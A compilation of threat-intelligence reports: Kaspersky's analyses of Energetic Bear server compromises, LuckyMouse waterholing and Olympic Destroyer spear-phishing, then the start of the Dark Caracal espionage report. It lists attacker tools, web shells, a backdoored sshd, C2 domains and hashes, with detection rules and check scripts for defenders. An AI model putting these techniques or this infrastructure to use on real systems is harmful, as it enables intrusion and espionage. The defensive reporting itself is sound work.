servers are open-source and publicly available on GitHub: +Nmap + an open-source utility for analyzing the network and verifying its security. +Dirsearch + a simple command-line tool for brute forcing (performing exhaustive searches of) +directories and files on websites. +Sqlmap + an open-source penetration testing tool, which automates the process of identifying +and exploiting SQL injection vulnerabilities and taking over database servers. +Sublist3r + a tool written in Python designed to enumerate website subdomains. The tool uses +open-source intelligence (OSINT). Sublist3r supports many different search engines, such as +Google, Yahoo, Bing, Baidu and Ask, as well as such services as Netcraft, Virustotal, ThreatCrowd, +DNSdumpster and ReverseDNS. The tool helps penetration testers to collect information on the +subdomains of the domain they are researching. +Wpscan + a WordPress vulnerability scanner that uses the blackbox principle, i.e., works without +access to the source code. It can be used to scan remote WordPress sites in search of security +issues. +Impacket + a toolset for working with various network protocols, which is required by SMBTrap. +SMBTrap + a tool for logging data received over the SMB protocol (user IP address, user name, +domain name, password NTLM hash). +Commix + a vulnerability search and command injection and exploitation tool written in Python. +Subbrute + a subdomain enumeration tool available for Python and Windows that uses an open +name resolver as a proxy and does not send traffic to the target DNS server. +PHPMailer + a mail sending tool. +In addition, a custom Python script named ftpChecker.py was found on one of the servers. The script was +designed to check FTP hosts from an incoming list. +Malicious php files +The following malicious php files were found in different directories in the nginx folder and in a working +directory created by the attackers on an infected web servers: +md5sum +Time of the +latest file +change (MSK) +Size, bytes +wso shell+ +mail +f3e3e25a822012023c6e81b206711865 +2016-07-01 +15:57:38 +28786 +wso shell+ +mail +f3e3e25a822012023c6e81b206711865 +2016-06-12 +13:35:30 +28786 +File name +Brief +description +ini.php +mysql.php + Kaspersky Lab, 1997 + 2018 +Energetic Bear/Crouching Yeti: attacks on servers +Kaspersky Lab ICS CERT +opts.php +wso shell +c76470e85b7f3da46539b40e5c552712 +2016-06-12 +12:23:28 +36623 +error_log.php +wso shell +155385cc19e3092765bcfed034b82ccb +2016-06-12 +10:59:39 +36636 +code29.php +web shell +1644af9b6424e8f58f39c7fa5e76de51 +2016-06-12 +11:10:40 +10724 +proxy87.php +web shell +1644af9b6424e8f58f39c7fa5e76de51 +2016-06-12 +14:31:13 +10724 +theme.php +wso shell +2292f5db385068e161ae277531b2e114 +2017-05-16 +17:33:02 +133104 +sma.php +PHPMailer +7ec514bbdc6dd8f606f803d39af8883f +2017-05-19 +13:53:53 +14696 +media.php +wso shell +78c31eff38fdb72ea3b1800ea917940f +2017-04-17 +15:58:41 +1762986 +In the table above: +Web shell is a script that allows remote administration of the machine. +WSO is a popular web shell and file manager (it stands for +Web Shell by Orb +) that has the ability +to masquerade as an error page containing a hidden login form. It is available on GitHub: +https://github.com/wso-shell/WSO +Two of the PHP scripts found, ini.php and mysql.php, contained a WSO shell concatenated with the +following email spamming script: +https://github.com/bediger4000/php-malware-analysis/tree/master/db-config.php + Kaspersky Lab, 1997 + 2018 +Energetic Bear/Crouching Yeti: attacks on servers +Kaspersky Lab ICS CERT +All the scripts found are obfuscated. +wso shell + error_log.php + Kaspersky Lab, 1997 + 2018 +Energetic Bear/Crouching Yeti: attacks on servers +Kaspersky Lab ICS CERT +Deobfuscated wso shell + error_log.php + Kaspersky Lab, 1997 + 2018 +Energetic Bear/Crouching Yeti: attacks on servers +Kaspersky Lab ICS CERT +One of the web shells was found on the server under two different names (proxy87.php and code29.php). +It uses the eval function to execute a command sent via HTTP cookies or a POST request: +Web shell + proxy87.php + Kaspersky Lab, 1997 + 2018 +Energetic Bear/Crouching Yeti: attacks on servers +Kaspersky Lab ICS CERT +Deobfuscated web shell + proxy87.php +Modified sshd +A modified sshd with a preinstalled backdoor was found in the process of analyzing the server. +Patches with some versions of backdoors for sshd that are similar to the backdoor found are available on +GitHub, for example: +https://github.com/jivoi/openssh-backdoor-kit +Compilation is possible on any OS with binary compatibility. + Kaspersky Lab, 1997 + 2018 +Energetic Bear/Crouching Yeti: attacks on servers +Kaspersky Lab ICS CERT +As a result of replacing the original sshd file with a modified one on the infected server, an attacker can +use a +master password + to get authorized on the remote server, while leaving minimal traces (compared +to an ordinary user connecting via ssh). +In addition, the modified sshd logs all legitimate ssh connections (this does not apply to the connection +that uses the +master password +), including connection times, account names and passwords. The log is +encrypted and is located at /var/tmp/.pipe.sock. +Decrypted log at /var/tmp/.pipe.sock +Activity of the attackers on compromised servers +In addition to using compromised servers to scan numerous resources, other attacker activity was also +identified. +After gaining access to the server, the attackers installed the tools they needed at different times. +Specifically, the following commands for third-party installations were identified on one of the servers: +apt install traceroute +apt-get install nmap +apt-get install screen +git clone https://github.com/sqlmapproject/sqlmap.git + Kaspersky Lab, 1997 + 2018 +Energetic Bear/Crouching Yeti: attacks on servers +Kaspersky Lab ICS CERT +Additionally, the attackers installed any packages and tools for Python they needed. +The diagram below shows times of illegitimate logons to one of the compromised servers during one month. +The attackers checked the smbtrap log file on working days. In most cases, they logged on to the server at +roughly the same time of day, probably in the morning hours: +19:12:00 +18:00:00 +16:48:00 +15:36:00 +14:24:00 +13:12:00 +12:00:00 +10:48:00 +9:36:00 +05.12.2017 +06.12.2017 +07.12.2017 +08.12.2017 +09.12.2017 +10.12.2017 +11.12.2017 +12.12.2017 +13.12.2017 +14.12.2017 +15.12.2017 +16.12.2017 +17.12.2017 +18.12.2017 +19.12.2017 +20.12.2017 +21.12.2017 +22.12.2017 +23.12.2017 +24.12.2017 +25.12.2017 +26.12.2017 +27.12.2017 +28.12.2017 +29.12.2017 +30.12.2017 +31.12.2017 +01.01.2018 +02.01.2018 +03.01.2018 +04.01.2018 +05.01.2018 +06.01.2018 +07.01.2018 +08.01.2018 +09.01.2018 +10.01.2018 +11.01.2018 +12.01.2018 +13.01.2018 +8:24:00 +Times of illegitimate connections with the server (GMT+3) +In addition, in the process of performing the analysis, an active process was identified that exploited SQL +injection and collected data from a database of one of the victims. + Kaspersky Lab, 1997 + 2018 +Energetic Bear/Crouching Yeti: attacks on servers +Kaspersky Lab ICS CERT +Conclusion +The findings of the analysis of compromised servers and the attackers + activity on these servers are as +follows: +1. With rare exceptions, the group +s members get by with publicly available tools. The use of publicly +available utilities by the group to conduct its attacks renders the task of attack attribution without +any additional group +markers + very difficult. +2. Potentially, any vulnerable server on the internet is of interest to the attackers when they want +to establish a foothold in order to develop further attacks against target facilities. +3. In most cases that we have observed, the group performed tasks related to searching for +vulnerabilities, gaining persistence on various hosts, and stealing authentication data. +4. The diversity of victims may indicate the diversity of the attackers + interests. +5. It can be assumed with some degree of certainty that the group operates in the interests of or +takes orders from customers that are external to it, performing initial data collection, the theft of +authentication data and gaining persistence on resources that are suitable for the attack +s further +development. +Appendix I + Indicators of Compromise +Filenames and Paths +Tools* +/usr/lib/libng/ftpChecker.py +/usr/bin/nmap/ +/usr/lib/libng/dirsearch/ +/usr/share/python2.7/dirsearch/ +/usr/lib/libng/SMBTrap/ +/usr/lib/libng/commix/ +/usr/lib/libng/subbrute-master/ +/usr/share/python2.7/sqlmap/ +/usr/lib/libng/sqlmap-dev/ +/usr/lib/libng/wpscan/ +/usr/share/python2.7/wpscan/ +/usr/share/python2.7/Sublist3r/ +*Note that these tools can also be used by other threat actors. + Kaspersky Lab, 1997 + 2018 +Energetic Bear/Crouching Yeti: attacks on servers +Kaspersky Lab ICS CERT +PHP files: +/usr/share/python2.7/sma.php +/usr/share/python2.7/theme.php +/root/theme.php +/usr/lib/libng/media.php +Logs +/var/tmp/.pipe.sock +PHP file hashes +f3e3e25a822012023c6e81b206711865 +c76470e85b7f3da46539b40e5c552712 +155385cc19e3092765bcfed034b82ccb +1644af9b6424e8f58f39c7fa5e76de51 +2292f5db385068e161ae277531b2e114 +7ec514bbdc6dd8f606f803d39af8883f +78c31eff38fdb72ea3b1800ea917940f +Yara rules +rule Backdoored_ssh { +strings: +$a1 = "OpenSSH" +$a2 = "usage: ssh" +$a3 = "HISTFILE" +condition: +uint32(0) == 0x464c457f and filesize<1000000 and all of ($a*) + Kaspersky Lab, 1997 + 2018 +Energetic Bear/Crouching Yeti: attacks on servers +Kaspersky Lab ICS CERT +Appendix II + Shell script to check a server for tools +Shell script for Debian +cd /tmp +workdir=428c5fcf495396df04a459e317b70ca2 +mkdir $workdir +cd $workdir +find / -type d -iname smbtrap > find-smbtrap.txt 2>/dev/null +find / -type d -iname dirsearch > find-dirsearch.txt 2>/dev/null +find / -type d -iname nmap > find-nmap.txt 2>/dev/null +find / -type d -iname wpscan > find-wpscan.txt 2>/dev/null +find / -type d -iname sublist3r > find-sublist3r.txt 2>/dev/null +dpkg -l | grep -E \(impacket\|pcapy\|nmap\) > dpkg-grep.txt +cp /var/lib/dpkg/info/openssh-server.md5sums . #retrieve initial hash for sshd +md5sum /usr/sbin/sshd > sshd.md5sum #calculate actual hash for sshd +Shell script for Centos +cd /tmp +workdir=428c5fcf495396df04a459e317b70ca2 +mkdir $workdir +cd $workdir +find / -type d -iname smbtrap > find-smbtrap.txt 2>/dev/null +find / -type d -iname dirsearch > find-dirsearch.txt 2>/dev/null +find / -type d -iname nmap > find-nmap.txt 2>/dev/null +find / -type d -iname wpscan > find-wpscan.txt 2>/dev/null +find / -type d -iname sublist3r > find-sublist3r.txt 2>/dev/null +rpm -qa | grep -E \(impacket\|pcapy\|nmap\) > rpm-grep.txt +rpm -qa --dump | grep ssh > rpm-qa-dump.txt #retrieve initial hash for sshd +sha256sum /usr/sbin/sshd > sshd.sha256sum #calculate actual sha256 hash for sshd +md5sum /usr/sbin/sshd > sshd.md5sum #calculate actual md5 hash for sshd + Kaspersky Lab, 1997 + 2018 +Energetic Bear/Crouching Yeti: attacks on servers +Kaspersky Lab ICS CERT +Kaspersky Lab Industrial Control Systems Cyber Emergency Response Team (Kaspersky Lab ICS +CERT) is a global project of Kaspersky Lab aimed at coordinating the work of industrial +automation system vendors, owners and operators of industrial facilities and IT security +researchers in addressing issues associated with protecting industrial enterprises and critical +infrastructure facilities. +Kaspersky Lab ICS CERT +Ics-cert@kaspersky.com + Kaspersky Lab, 1997 + 2018 +LuckyMouse hits national data center to organize countrylevel waterholing campaign +securelist.com/luckymouse-hits-national-data-center/86083 +By Denis Legezo +What happened? +In March 2018 we detected an ongoing campaign targeting a national data center in the +Central Asia that we believe has been active since autumn 2017. The choice of target made +this campaign especially significant + it meant the attackers gained access to a wide range of +government resources at one fell swoop. We believe this access was abused, for example, +by inserting malicious scripts in the country +s official websites in order to conduct watering +hole attacks. +The operators used the HyperBro Trojan as their last-stage in-memory remote +administration tool (RAT). The timestamps for these modules are from December 2017 until +January 2018. The anti-detection launcher and decompressor make extensive use of +Metasploit +s shikata_ga_nai encoder as well as LZNT1 compression. +Kaspersky Lab products detect the different artifacts used in this campaign with the +following verdicts: Trojan.Win32.Generic, Trojan-Downloader.Win32.Upatre and +Backdoor.Win32.HyperBro. A full technical report, IoCs and YARA rules are available from +our intelligence reporting service (contact us intelligence@kaspersky.com). +s behind it? +Due to tools and tactics in use we attribute the campaign to LuckyMouse Chinese-speaking +actor (also known as EmissaryPanda and APT27). Also the C2 domain +update.iaacstudio[.]com was previously used in their campaigns. The tools found in this +campaign, such as the HyperBro Trojan, are regularly used by a variety of Chinese-speaking +actors. Regarding Metasploit +s shikata_ga_nai encoder + although it +s available for everyone +and couldn +t be the basis for attribution, we know this encoder has been used by +LuckyMouse previously. +Government entities, including the Central Asian ones also were a target for this actor +before. Due to LuckyMouse +s ongoing waterholing of government websites and the +corresponding dates, we suspect that one of the aims of this campaign is to access web +pages via the data center and inject JavaScripts into them. +How did the malware spread? +The initial infection vector used in the attack against the data center is unclear. Even when +we observed LuckyMouse using weaponized documents with CVE-2017-11882 (Microsoft +Office Equation Editor, widely used by Chinese-speaking actors since December 2017), we +t prove they were related to this particular attack. It +s possible the actor used a +waterhole to infect data center employees. +The main C2 used in this campaign is bbs.sonypsps[.]com, which resolved to IP-address, +that belongs to the Ukrainian ISP network, held by a Mikrotik router using firmware version +6.34.4 (from March 2016) with SMBv1 on board. We suspect this router was hacked as part +of the campaign in order to process the malware +s HTTP requests. The Sonypsps[.]com +domain was last updated using GoDaddy on 2017-05-05 until 2019-03-13. +FMikrotik router with two-year-old firmware and SMBv1 on board used in this campaign +In March 2017, Wikileaks published details about an exploit affecting Mikrotik called +ChimayRed. According to the documentation, however, it doesn +t work for firmware +versions higher than 6.30. This router uses version 6.34. +There were traces of HyperBro in the infected data center from mid-November 2017. Shortly +after that different users in the country started being redirected to the malicious domain +update.iaacstudio[.]com as a result of the waterholing of government websites. These +events suggest that the data center infected with HyperBro and the waterholing campaign +are connected. +What did the malware do in the data center? +Anti-detection stages. Different colors show the three dropped modules: legit app (blue), launcher (green), and +decompressor with the Trojan embedded (red) +The initial module drops three files that are typical for Chinese-speaking actors: a legit +Symantec pcAnywhere (IntgStat.exe) for DLL side loading, a .dll launcher +(pcalocalresloader.dll) and the last-stage decompressor (thumb.db). As a result of all these +steps, the last-stage Trojan is injected into svchost.exe +s process memory. +The launcher module, obfuscated with the notorious Metasploit +s shikata_ga_nai encoder, is +the same for all the droppers. The resulting deobfuscated code performs typical side +loading: it patches pcAnywhere +s image in memory at its entry point. The patched code +jumps back to the decryptor +s second shikata_ga_nai iteration, but this time as part of the +whitelisted application. +This Metasploit +s encoder obfuscates the last part of the launcher +s code, which in turn +resolves the necessary API and maps thumb.db into the same process +s (pcAnywhere) +memory. The first instructions in the mapped thumb.db are for a new shikata_ga_nai +iteration. The decrypted code resolves the necessary API functions, decompresses the +embedded PE file with RtlCompressBuffer() using LZNT1 and maps it into memory. +What does the resulting watering hole look like? +The websites were compromised to redirect visitors to instances of both ScanBox and BEeF. +These redirects were implemented by adding two malicious scripts obfuscated by a tool +similar to the Dean Edwards packer. +Resulting script on the compromised government websites +Users were redirected to https://google-updata[.]tk:443/hook.js, a BEeF instance, and +https://windows-updata[.]tk:443/scanv1.8/i/?1, an empty ScanBox instance that answered a +small piece of JavaScript code. +Conclusions +LuckyMouse appears to have been very active recently. The TTPs for this campaign are quite +common for Chinese-speaking actors, where they typically provide new solid wrappers +(launcher and decompressor protected with shikata_ga_nai in this case) around their RATs +(HyperBro). +The most unusual and interesting point here is the target. A national data center is a +valuable source of data that can also be abused to compromise official websites. Another +interesting point is the Mikrotik router, which we believe was hacked specifically for the +campaign. The reasons for this are not very clear: typically, Chinese-speaking actors don +bother disguising their campaigns. Maybe these are the first steps in a new stealthier +approach. +Some indicators of compromise +Droppers +22CBE2B0F1EF3F2B18B4C5AED6D7BB79 +0D0320878946A73749111E6C94BF1525 +Launcher +ac337bd5f6f18b8fe009e45d65a2b09b +HyperBro in-memory Trojan +04dece2662f648f619d9c0377a7ba7c0 +Domains and IPs +bbs.sonypsps[.]com +update.iaacstudio[.]com +wh0am1.itbaydns[.]com +google-updata[.]tk +windows-updata[.]tk +Olympic Destroyer is still alive +securelist.com/olympic-destroyer-is-still-alive/86169/ +By GReAT +In March 2018 we published our research on Olympic Destroyer, an advanced threat actor that +hit organizers, suppliers and partners of the Winter Olympic Games 2018 held in +Pyeongchang, South Korea. Olympic Destroyer was a cyber-sabotage attack based on the +spread of a destructive network worm. The sabotage stage was preceded by reconnaissance +and infiltration into target networks to select the best launchpad for the self-replicating and selfmodifying destructive malware. +We have previously emphasized that the story of Olympic Destroyer is different to that of other +threat actors because the whole attack was a masterful operation in deception. Despite that, +the attackers made serious mistakes, which helped us to spot and prove the forgery of rare +attribution artefacts. The attackers behind Olympic Destroyer forged automatically generated +signatures, known as Rich Header, to make it look like the malware was produced by Lazarus +APT, an actor widely believed to be associated with North Korea. If this is new to the reader, +we recommend a separate blog dedicated to the analysis of this forgery. +The deceptive behavior of Olympic Destroyer, and its excessive use of various false flags, +which tricked many researchers in the infosecurity industry, got our attention. Based on +malware similarity, the Olympic Destroyer malware was linked by other researchers to three +Chinese speaking APT actors and the allegedly North Korean Lazarus APT; some code had +hints of the EternalRomance exploit, while other code was similar to the Netya +(Expetr/NotPetya) and BadRabbit targeted ransomware. Kaspersky Lab managed to find +lateral movement tools and initial infection backdoors, and has followed the infrastructure used +to control Olympic Destroyer in one of its South Korean victims. +Some of the TTPs and operational security used by Olympic Destroyer bear a certain +resemblance to Sofacy APT group activity. When it comes to false flags, mimicking TTPs is +much harder than tampering with technical artefacts. It implies a deep knowledge of how the +actor being mimicked operates as well as operational adaptation to these new TTPs. However, +it is important to remember that Olympic Destroyer can be considered a master in the use of +false flags: for now we assess that connection with low to moderate confidence. +We decided to keep tracking the group and set our virtual +nets + to catch Olympic Destroyer +again if it showed up with a similar arsenal. To our surprise it has recently resurfaced with new +activity. +In May-June 2018 we discovered new spear-phishing documents that closely resembled +weaponized documents used by Olympic Destroyer in the past. This and other TTPs led us to +believe that we were looking at the same actor again. However, this time the attacker has new +targets. According to our telemetry and the characteristics of the analyzed spear-phishing +documents, we believe the attackers behind Olympic Destroyer are now targeting financial +1/14 +organizations in Russia, and biological and chemical threat prevention laboratories in Europe +and Ukraine. They continue to use a non-binary executable infection vector and obfuscated +scripts to evade detection. +Simplified infection procedure +Infection Analysis +In reality the infection procedure is a bit more complex and relies on multiple different +technologies, mixing VBA code, Powershell, MS HTA, with JScript inside and more +Powershell. Let +s take a look at this more closely to let incident responders and security +researchers recognize such an attack at any time in the future. +One of the recent documents that we discovered had the following properties: +MD5: 0e7b32d23fbd6d62a593c234bafa2311 +SHA1: ff59cb2b4a198d1e6438e020bb11602bd7d2510d +File Type: Microsoft Office Word +Last saved date: 2018-05-14 15:32:17 (GMT) +Known file name: Spiez CONVERGENCE.doc +The embedded macro is heavily obfuscated. It has a randomly-generated variable and function +name. +Obfuscated VBA macro +2/14 +Its purpose is to execute a Powershell command. This VBA code was obfuscated with the +same technique used in the original Olympic Destroyer spear-phishing campaign. +It starts a new obfuscated Powershell scriptlet via the command line. The obfuscator is using +array-based rearranging to mutate original code, and protects all commands and strings such +as the command and control (C2) server address. +There is one known obfuscation tool used to produce such an effect: Invoke-Obfuscation. +Obfuscated commandline Powershell scriptlet +This script disables Powershell script logging to avoid leaving traces: +It has an inline implementation of the RC4 routine in Powershell, which is used to decrypt +additional payload downloaded from Microsoft OneDrive. The decryption relies on a hardcoded +32-byte ASCII hexadecimal alphabet key. This is a familiar technique used in other Olympic +Destroyer spear-phishing documents in the past and in Powershell backdoors found in the +infrastructure of Olympic Destroyer +s victims located in Pyeongchang. +3/14 +[/caption] +The second stage payload downloaded is an HTA file that also executes a Powershell script. +Downloaded access.log.txt +This file has a similar structure to the Powershell script executed by the macro in spearphishing attachments. After deobfuscating it, we can see that this script also disables +Powershell logging and downloads the next stage payload from the same server address. It +also uses RC4 with a pre-defined key: +4/14 +The final payload is the Powershell Empire agent. Below we partially provide the http stager +scriptlet for the downloaded Empire agent. +Powershell Empire is a post-exploitation free and open-source framework written in Python +and Powershell that allows fileless control of the compromised hosts, has modular architecture +and relies on encrypted communication. This framework is widely used by penetration-testing +companies in legitimate security tests for lateral movement and information gathering. +Infrastructure +We believe that the attackers used compromised legitimate web servers for hosting and +controlling malware. Based on our analysis, the URI path of discovered C2 servers included +the following paths: +/components/com_tags/views +/components/com_tags/views/admin +/components/com_tags/controllers +/components/com_finder/helpers +/components/com_finder/views/ +/components/com_j2xml/ +/components/com_contact/controllers/ +5/14 +These are known directory structures used by a popular open source content management +system, Joomla: +Joomla components path on Github +Unfortunately we don +t know what exact vulnerability was exploited in the Joomla CMS. What +is known is that one of the payload hosting servers used Joomla v1.7.3, which is an extremely +old version of this software, released in November 2011. +A compromised server using Joomla +Victims and Targets +Based on several target profiles and limited victim reports, we believe that the recent operation +by Olympic Destroyer targets Russia, Ukraine and several other European countries. +According to our telemetry, several victims are entities from the financial sector in Russia. In +addition, almost all the samples we found were uploaded to a multi-scanner service from +European countries such as the Netherlands, Germany and France, as well as from Ukraine +and Russia. +6/14 +Location of targets in recent Olympic Destroyer attacks +Since our visibility is limited, we can only speculate about the potential targets based on the +profiles suggested by the content of selected decoy documents, email subjects or even file +names picked by the attackers. +One such decoy document grabbed our attention. It referred to +Spiez Convergence +, a biochemical threat research conference held in Switzerland, organized by SPIEZ LABORATORY, +which not long ago was involved in the Salisbury attack investigation. +7/14 +Decoy document using Spiez Convergence topic +Another decoy document observed in the attacks ( +Investigation_file.doc +) references the nerve +agent used to poison Sergey Skripal and his daughter in Salisbury: +8/14 +Some other spear-phishing documents include words in the Russian and German language in +their names: +9bc365a16c63f25dfddcbe11da042974 Korporativ.doc +da93e6651c5ba3e3e96f4ae2dd763d94 Korporativ_2018.doc +e2e102291d259f054625cc85318b7ef5 E-Mail-Adressliste_2018.doc +9/14 +One of the documents included a lure image with perfect Russian language in it. +A message in Russian encouraging the user to enable macro (54b06b05b6b92a8f2ff02fdf47baad0e) +One of the most recent weaponized documents was uploaded to a malware scanning service +from Ukraine in a file named +nakaz.zip +, containing +nakaz.doc + (translated as +order.doc + from +Ukrainian). +Another lure message to encourage the user to enable macro +According to metadata, the document was edited on June 14th. The Cyrillic messages inside +this and previous documents are in perfect Russian, suggesting that it was probably prepared +with the help of a native speaker and not automated translation software. +Once the user enables macro, a decoy document is displayed, taken very recently from a +Ukrainian state organization (the date inside indicates 11 June 2018). The text of the +document is identical to the one on the official website of the Ukrainian Ministry of Health. +10/14 +Decoy document inside nakaz.doc +Further analysis of other related files suggest that the target of this document is working in the +biological and epizootic threat prevention field. +Attribution +Although not comprehensive, the following findings can serve as a hint to those looking for a +better connection between this campaign and previous Olympic Destroyer activity. More +information on overlaps and reliable tracking of Olympic Destroyer attacks is available to +subscribers of Kaspersky Intelligence Reporting Services (see below). +11/14 +Similar obfuscated macro structure +The documents above show apparent structural similarity as if they were produced by the +same tool and obfuscator. The highlighted function name in the new wave of attacks isn +t in +fact new. While being uncommon, a function named +MultiPage1_Layout + was also found in +the Olympic Destroyer spear phishing document (MD5: +5ba7ec869c7157efc1e52f5157705867). +Same MultiPage1_Layout function name used in older campaign +Conclusions +Despite initial expectations for it to stay low or even disappear, Olympic Destroyer has +resurfaced with new attacks in Europe, Russia and Ukraine. In late 2017, a similar +reconnaissance stage preceded a larger cyber-sabotage stage meant to destroy and paralyze +infrastructure of the Winter Olympic Games as well as related supply chains, partners and +12/14 +even venues at the event location. It +s possible that in this case we have observed a +reconnaissance stage that will be followed by a wave of destructive attacks with new motives. +That is why it is important for all bio-chemical threat prevention and research companies and +organizations in Europe to strengthen their security and run unscheduled security audits. +The variety of financial and non-financial targets could indicate that the same malware was +used by several groups with different interests + i.e. a group primarily interested in financial +gain through cybertheft and another group or groups looking for espionage targets. This could +also be a result of cyberattack outsourcing, which is not uncommon among nation state actors. +On the other hand, the financial targets might be another false flag operation by an actor who +has already excelled at this during the Pyeongchang Olympics to redirect researchers +attention. +Certain conclusions could be made based on motives and the selection of targets in this +campaign. However, it is easy to make a mistake when trying to answer the question of who is +behind this campaign with only the fragments of the picture that are visible to researchers. The +appearance, at the start of this year, of Olympic Destroyer with its sophisticated deception +efforts, changed the attribution game forever. We believe that it is no longer possible to draw +conclusions based on few attribution vectors discovered during regular investigation. The +resistance to and deterrence of threats such as Olympic Destroyer should be based on +cooperation between the private sector and governments across national borders. +Unfortunately, the current geopolitical situation in the world only boosts the global +segmentation of the internet and introduces many obstacles for researchers and investigators. +This will encourage APT attackers to continue marching into the protected networks of foreign +governments and commercial companies. +The best thing we can do as researchers is to keep tracking threats like this. We will keep +monitoring Olympic Destroyer and report on new discovered activities of this group. +More details about Olympic Destroyer and related activity are available to subscribers of +Kaspersky Intelligence Reporting services. Contact: intelreports@kaspersky.com +Indicators Of Compromise +File Hashes +9bc365a16c63f25dfddcbe11da042974 Korporativ .doc +da93e6651c5ba3e3e96f4ae2dd763d94 Korporativ_2018.doc +6ccd8133f250d4babefbd66b898739b9 corporativ_2018.doc +abe771f280cdea6e7eaf19a26b1a9488 Scan-2018-03-13.doc.bin +b60da65b8d3627a89481efb23d59713a Corporativ_2018.doc +b94bdb63f0703d32c20f4b2e5500dbbe +bb5e8733a940fedfb1ef6b0e0ec3635c recommandation.doc +97ddc336d7d92b7db17d098ec2ee6092 recommandation.doc +1d0cf431e623b21aeae8f2b8414d2a73 Investigation_file.doc +13/14 +0e7b32d23fbd6d62a593c234bafa2311 Spiez CONVERGENCE.doc +e2e102291d259f054625cc85318b7ef5 E-Mail-Adressliste_2018.doc +0c6ddc3a722b865cc2d1185e27cef9b8 +54b06b05b6b92a8f2ff02fdf47baad0e +4247901eca6d87f5f3af7df8249ea825 nakaz.doc +Domains and IPs +79.142.76[.]40:80/news.php +79.142.76[.]40:8989/login/process.php +79.142.76[.]40:8989/admin/get.php +159.148.186[.]116:80/admin/get.php +159.148.186[.]116:80/login/process.php +159.148.186[.]116:80/news.php +****.****.edu[.]br/components/com_finder/helpers/access.log +****.****.edu[.]br/components/com_finder/views/default.php +narpaninew.linuxuatwebspiders[.]com/components/com_j2xml/error.log +narpaninew.linuxuatwebspiders[.]com/components/com_contact/controllers/main.php +mysent[.]org/access.log.txt +mysent[.]org/modules/admin.php +5.133.12[.]224:333/admin/get.php +14/14 +SECURITY RESEARCH REPORT +Dark Caracal +Cyber-espionage at a Global Scale +Contents +Executive Summary +Key Findings +Pallas + Dark Caracal +s Custom Android Samples +Timeline +C2 Communications with Malware Implants +Previous Use of FinFisher Spyware +Surveillanceware + Desktop Components +Background +Lebanon +s General Directorate of General Security (GDGS) +Locating Attacker Facilities +Surveillanceware + Mobile Capabilities +Bandook +CrossRAT +Infected Documents +Other Samples +Infrastructure +Nancy Razzouk and Hassan Ward +Primary Command and Control Server +Hadi Mazeh +Watering Hole Server +Rami Jabbour +Phishing Domains +Windows C2 Servers +Test Devices +Wi-Fi Networks +Location Information from IP Addresses +Identities: Attacker Personas +Prolific Activity +Exfiltrated Data +Appendix +Android Malware Content +Indicators of Compromise and Actor Tracking +Windows Malware Content +Patterns of Attacks +The Initial Compromise +Social Engineering and Spear-Phishing +Mobile Implant Apps +Desktop Implant Apps +SECURITY RESEARCH REPORT +Executive Summary +As the modern threat landscape has evolved, so have the actors. The barrier to entry for cyber-warfare has continued to +decrease, which means new nation states + previously without significant offensive capabilities1 + are now able to build and +deploy widespread multi-platform cyber-espionage campaigns. +This report uncovers a prolific actor with nation-state level advanced persistent threat (APT) capabilities, who is exploiting targets +globally across multiple platforms. The actor has been observed making use of desktop tooling, but has prioritized mobile +devices as the primary attack vector. This is one of the first publicly documented mobile APT actors known to execute espionage +on a global scale. +Lookout and Electronic Frontier Foundation (EFF) have discovered Dark Caracal2, a persistent and prolific actor, who at the time +of writing is believed to be administered out of a building belonging to the Lebanese General Security Directorate in Beirut. At +present, we have knowledge of hundreds of gigabytes of exfiltrated data, in 21+ countries, across thousands of victims. Stolen +data includes enterprise intellectual property and personally identifiable information. We are releasing more than 90 indicators +of compromise (IOC) associated with Dark Caracal including 11 different Android malware IOCs; 26 desktop malware IOCs +across Windows, Mac, and Linux; and 60 domain/IP based IOCs. +Dark Caracal targets include individuals and entities that a nation state might typically attack, including governments, military +targets, utilities, financial institutions, manufacturing companies, and defense contractors. We specifically uncovered data +associated with military personnel, enterprises, medical professionals, activists, journalists, lawyers, and educational institutions +during this investigation. Types of data include documents, call records, audio recordings, secure messaging client content, +contact information, text messages, photos, and account data. +The joint Lookout-EFF investigation began after EFF released its Operation Manul report, highlighting a multi-platform espionage +campaign targeted at journalists, activists, lawyers, and dissidents who were critical of President Nursultan Nazarbayev +s regime +in Kazakhstan. The report describes malware and tactics targeting desktop machines, with references to a possible Android +component. After investigating related infrastructure and connections to Operation Manul, the team concluded that the same +infrastructure is likely shared by multiple actors and is being used in a new set of campaigns. +The diversity of seemingly unrelated campaigns that have been carried out from this infrastructure suggests it is being used +simultaneously by multiple groups. Operation Manul clearly targeted persons of interest to Kazakhstan, while Dark Caracal has +given no indication of an interest in these targets or their associates. This suggests that Dark Caracal either uses or manages the +infrastructure found to be hosting a number of widespread, global cyber-espionage campaigns. +Since 2007, Lookout has investigated and tracked mobile security events across hundreds of millions of devices around the world. +This mobile espionage campaign is one of the most prolific we have seen to date. Additionally, we have reason to believe the +activity Lookout and EFF have directly observed represents only a small fraction of the cyber-espionage that has been conducted +using this infrastructure. +https://www.checkpoint.com/downloads/volatile-cedar-technical-report.pdf +In keeping with traditional APT naming, we chose the name +Caracal + (pronounced [kar-uh-kal]) because the feline is native to Lebanon and because this group has +remained hidden for so long. From the Wikipedia entry +the caracal is highly secretive and difficult to observe + and +is often confused with [other breeds of cat]. + The +naming further builds on EFF +Operation Manul, + another feline reference. We like cats. +SECURITY RESEARCH REPORT +Key Findings +Dark Caracal Activity Timeline +Lookout and EFF researchers have identified a new threat actor, +Dark Caracal. +Jan. 2012 +First mobile surveillance +campaign, oldb, launched +Our research shows that Dark Caracal may be administering its +tooling out of the headquarters of the General Directorate of +General Security (GDGS) in Beirut, Lebanon. +op13@mail[.]com registers phishing +Mar. 2014 +Custom FinFisher mobile +The GDGS gathers intelligence for national security purposes and +for its offensive cyber capabilities according to previous reports. +Nov. 2012 +We have identified four Dark Caracal personas with overlapping +domain arablivenews[.]com +sample created +TTP (tools, techniques, and procedures). +Dark Caracal is using the same infrastructure as was previously +Nov. 2014 +is decommissioned +seen in the Operation Manul campaign, which targeted journalists, +lawyers, and dissidents critical of the government of Kazakhstan. +Dec. 2015 +op13@mail[.]com registers +Jun. 2015 +Operation Manul phishing +Jun. 2016 +gmailservices[.]org and +Dark Caracal has been conducting a multi-platform, APT-level +surveillance operation targeting individuals and institutions globally. +Dark Caracal has successfully run numerous campaigns in parallel +arablivenews[.]com expires and +arabpublisherslb[.]com domain +emails first seen +and we know that the data we have observed is only a small +fraction of the total activity. +We have identified hundreds of gigabytes of data exfiltrated from +details registered as Hadi +thousands of victims, spanning 21+ countries in North America, +Mazeh and op13@mail[.]com +Europe, the Middle East, and Asia. +The mobile component of this APT is one of the first we +ve seen +executing espionage 